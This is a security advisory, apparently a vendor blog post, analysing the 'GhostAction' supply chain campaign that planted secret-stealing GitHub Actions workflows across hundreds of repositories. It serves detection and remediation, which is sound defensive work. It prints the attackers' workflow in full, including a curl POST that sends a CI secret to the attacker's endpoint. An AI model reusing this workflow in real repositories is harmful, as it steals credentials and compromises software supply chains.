Executive Summary

On September 5, 2025, security researchers Gaetan Ferry and Guillaume Valadon from GitGuardian uncovered "GhostAction," a sophisticated supply chain attack campaign that compromised 327 GitHub users across 817 repositories. The attackers injected malicious workflows that successfully exfiltrated 3,325 secrets including PyPI, npm, and DockerHub tokens to an attacker-controlled endpoint. This represents one of the largest coordinated GitHub Actions supply chain attacks to date, with compromised credentials spanning multiple package ecosystems and creating ongoing risks for the software supply chain.

Technical Analysis

Attack Vector

The GhostAction campaign employed a deceptively simple yet highly effective attack pattern. Compromised GitHub accounts pushed malicious workflow files disguised as security improvements. Each workflow, titled "Add Github Actions Security workflow," contained secret exfiltration code that executed on every push or manual trigger.

The Malicious Workflow

The attackers crafted a consistent workflow template that they deployed across all compromised repositories:

name: Github Actions Security

on:
  workflow_dispatch:
  push:

jobs:
  send-secrets:
    runs-on: ubuntu-latest

    steps:
      - name: Prepare Cache Busting
        run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV

      - name: Github Actions Security
        run: |
          curl -s -X POST -d 'CODECOV_TOKEN=${{ secrets.CODECOV_TOKEN }}' https://bold-dhawan.45-139-104-115.plesk.page

The workflow's simplicity was its strength - it required no dependencies, used standard GitHub Actions syntax, and could bypass casual security reviews by appearing as a legitimate security workflow.

Attack Methodology

The campaign followed a systematic approach:

Secret Enumeration

Attackers first analyzed legitimate workflow files in target repositories to identify secret names‍

Workflow Customization

Each malicious workflow was tailored with the specific secret names found in that repository

Immediate Execution

‍Workflows triggered on push, ensuring immediate secret exfiltration

This approach of compromising developer credentials to gain access to CI/CD secrets and ultimately obtain elevated access to production and publishing credentials remains a popular attack method. Based on our conversations with enterprises, we've learned that multiple red teams across various organizations have successfully used this exact technique to identify internal security gaps. The pattern is well-understood by security professionals: compromise a developer account, inject malicious workflows, harvest CI/CD secrets, and escalate to production access.

Scale of Compromise

GitGuardian's analysis revealed the massive scope of this campaign:

• 327 compromised GitHub users
• 817 affected repositories
• 3,325 exfiltrated secrets
• 100+ repositories had already reverted changes by disclosure time

The compromised secrets included:

• DockerHub credentials (most common)
• GitHub personal access tokens
• npm authentication tokens
• PyPI API tokens
• AWS access keys
• Database credentials
• Cloudflare API tokens

Multiple companies had their entire SDK portfolio compromised across Python, Rust, JavaScript, and Go repositories, demonstrating how a single compromised developer account can cascade into organization-wide security incidents. You can use the following URL to view the list of publicly available malicious workflows.

https://github.com/search?q=bold-dhawan.45-139-104-115.plesk.page&type=code

Infrastructure Analysis

The exfiltration endpoint bold-dhawan[.]45-139-104-115[.]plesk[.]page resolved to IP address 45.139.104.115, hosted at 493networking.cc. The domain naming pattern and hosting provider suggest a disposable infrastructure designed for this specific campaign. The endpoint ceased resolving on September 5 at 16:15 UTC, likely in response to public disclosure.

Detection and Response

How GitGuardian Discovered the Attack

The initial detection came through GitGuardian's internal security monitoring when the FastUUID project triggered alerts. The security research team, led by Gaetan Ferry and Guillaume Valadon, quickly identified the malicious workflow pattern and began investigating the broader campaign.

Community Response

GitGuardian's disclosure process was exemplary:

1. Created issues in 573 compromised repositories
2. Directly notified package registry security teams
3. Published detailed indicators of compromise

The rapid response helped contain the damage - no malicious package releases were detected despite the window of opportunity.

Recovery Steps

If your repository was affected by the GhostAction campaign, take these immediate actions:

Audit Your Repositories

Search for the malicious workflow file using the following GitHub search query (replace AcmeInc with your organization name):

https://github.com/search?q=bold-dhawan.45-139-104-115.plesk.page+org%3Aacmeinc&type=code

Remove Malicious Workflows

If you discover the malicious workflow, delete it immediately from all repository branches.

Rotate All Secrets Immediately

If you were impacted, rotate all GitHub Action secrets that were available to the repository workflows.

Steps for StepSecurity Enterprise Customers

StepSecurity enterprise customers have additional tools and policies available to detect and prevent similar attacks:

Enable Secret Exfiltration Workflow Run Policy

This policy is specifically designed to block secret access from unreviewed workflows and workflow changes, precisely the scenario exploited in the GhostAction campaign. When enabled, this policy would have prevented the malicious workflows from accessing repository secrets.

Configure the Secret Exfiltration Policy

If this policy was already enabled in your organization, review recent policy detection logs for any blocked attempts that might indicate targeting.

Configure Runner Label Policy

Since the attackers created new workflows that could select GitHub-hosted runners, they could bypass Harden-Runner runtime monitoring even if it was previously configured. If your organization exclusively uses self-hosted runners, enable the Runner Label Policy to prevent unauthorized use of GitHub-hosted runners.

Configure the Runner Label Policy

Review Harden-Runner Baselines

If any workflows executed with Harden-Runner protection during the compromise window, check your organization and cluster-level baselines for any observed calls to bold-dhawan[.]45-139-104-115[.]plesk[.]page. This domain should never appear in legitimate workflow network traffic.

Enable Branch Protection

Implement branch protection rules to require pull request reviews before workflow changes can be merged. This adds a critical human review step that can catch malicious workflow additions.

Configure Branch Protection

Acknowledgments

We extend our gratitude to the GitGuardian security research team for their exceptional work in discovering and responsibly disclosing this campaign.

We also thank the broader security community for their swift response in reverting malicious changes and securing affected repositories.

Conclusion

The GhostAction campaign represents a significant evolution in GitHub Actions supply chain attacks. With over 3,000 secrets stolen across 817 repositories, it demonstrates both the scale of risk and the importance of proactive CI/CD security measures.

While the immediate threat has been contained thanks to the quick action by GitGuardian and the security community, the incident serves as a wake-up call. Organizations must treat their CI/CD pipelines as critical security perimeters and implement defense-in-depth strategies to protect against increasingly sophisticated attacks.